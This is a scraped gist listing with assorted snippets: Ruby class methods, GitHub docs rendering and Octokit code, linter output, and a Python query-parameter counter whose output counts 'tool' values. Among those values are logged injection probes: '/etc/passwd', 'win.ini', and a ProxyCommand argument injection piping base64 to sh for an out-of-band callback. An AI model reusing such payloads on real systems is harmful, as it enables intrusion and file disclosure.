Skip to content

Instantly share code, notes, and snippets.

View peterbe's full-sized avatar

Peter Bengtsson peterbe

View GitHub Profile
class TestClass
def self.some_method
puts "A class method"
new.some_method
end
def some_method
puts "My instance method"
end
class TestClass
def self.some_other_method
puts "Hi"
end
def my_instance_method
puts "My instance method"
end
# Also possible and convenient when you
import { renderUnified } from './src/content-render/unified/index.js'
const template =
// '<div class="ghd-tool jetbrains">\n' +
'GitHub Copilot Chat is currently in beta, and is subject to change.\n' +
'<br><br>\n' +
// '</div>\n' +
'All users with a GitHub Copilot Individual subscription can access the GitHub Copilot Chat beta in Visual Studio Code and Visual Studio.\n' +
'<br><br>\n' +
'Owners of organizations with a Copilot Business subscription can decide whether to grant access to the GitHub Copilot Chat beta for Visual Studio and VS Code.\n' +
import { RequestError } from '@octokit/request-error'
import Github from './src/workflows/github.js'
const github = Github()
// https://docs.github.com/rest/reference/git#list-matching-references
export async function listMatchingRefs(owner, repo, ref) {
try {
// if the ref is found, this returns an array of objects;
// if the ref is not found, this returns an empty array
const { data } = await github.git.listMatchingRefs({
9 runs-on
125 working-directory
236 continue-on-error
240 set-output
436 run-name
468 self-hosted
469 timeout-minutes
504 gh-pages
550 fail-fast
584 runner-registration
content/actions/using-workflows/workflow-commands-for-github-actions.md
WARNING
Rule GHD001, code-fence-line-length Code fence lines should not exceed a maximum length
Detail Code fence line exceeds 60 characters.
Line 34 echo "::workflow-command parameter1={data},parameter2={data}::{command value}"
Line 42 Write-Output "::workflow-command parameter1={data},parameter2={data}::{comman…
Line 67 core.error('Missing semicolon', {file: 'app.js', startLine: 1})
Line 78 run: echo "::error file=app.js,line=1::Missing semicolon"
Line 87 run: Write-Output "::error file=app.js,line=1::Missing semicolon"
import csv
from urllib.parse import parse_qs
import sys
from collections import Counter, defaultdict
counter = defaultdict(Counter)
with open(sys.argv[1]) as f:
reader = csv.reader(f)
next(reader)
for uri, code in reader:
KEY: tool
'vscode' 768
'jetbrains' 365
'visualstudio' 214
'vimneovim' 125
'webui' 88
'cli' 75
'/etc/passwd' 73
'x -oProxyCommand=echo bnNsb29rdXArJTdCJTdCaW50ZXJhY3RzaC11cmwlN0QlN0Q=|base64 -d|sh}' 68
'\\WINDOWS\\win.ini' 51
<!DOCTYPE html><html><head><meta charSet="utf-8"/><link rel="icon" href="/thehub-16.png" sizes="16x16" type="image/png"/><meta name="viewport" content="width=device-width, initial-scale=1"/><title> The Hub</title><meta name="next-head-count" content="4"/><link rel="preload" href="/_next/static/css/7995dfc4be029ff5.css" as="style"/><link rel="stylesheet" href="/_next/static/css/7995dfc4be029ff5.css" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-8a554e7582522d66.js" defer=""></script><script src="/_next/static/chunks/framework-5f4595e5518b5600.js" defer=""></script><script src="/_next/static/chunks/main-b89472157adf5c69.js" defer=""></script><script src="/_next/static/chunks/pages/_app-d35d68c765627985.js" defer=""></script><script src="/_next/static/chunks/544-8c94c0f47693ae74.js" defer=""></script><script src="/_next/static/chunks/pages/%5B...slug%5D-c0cfdb3a2dd84a57.js" d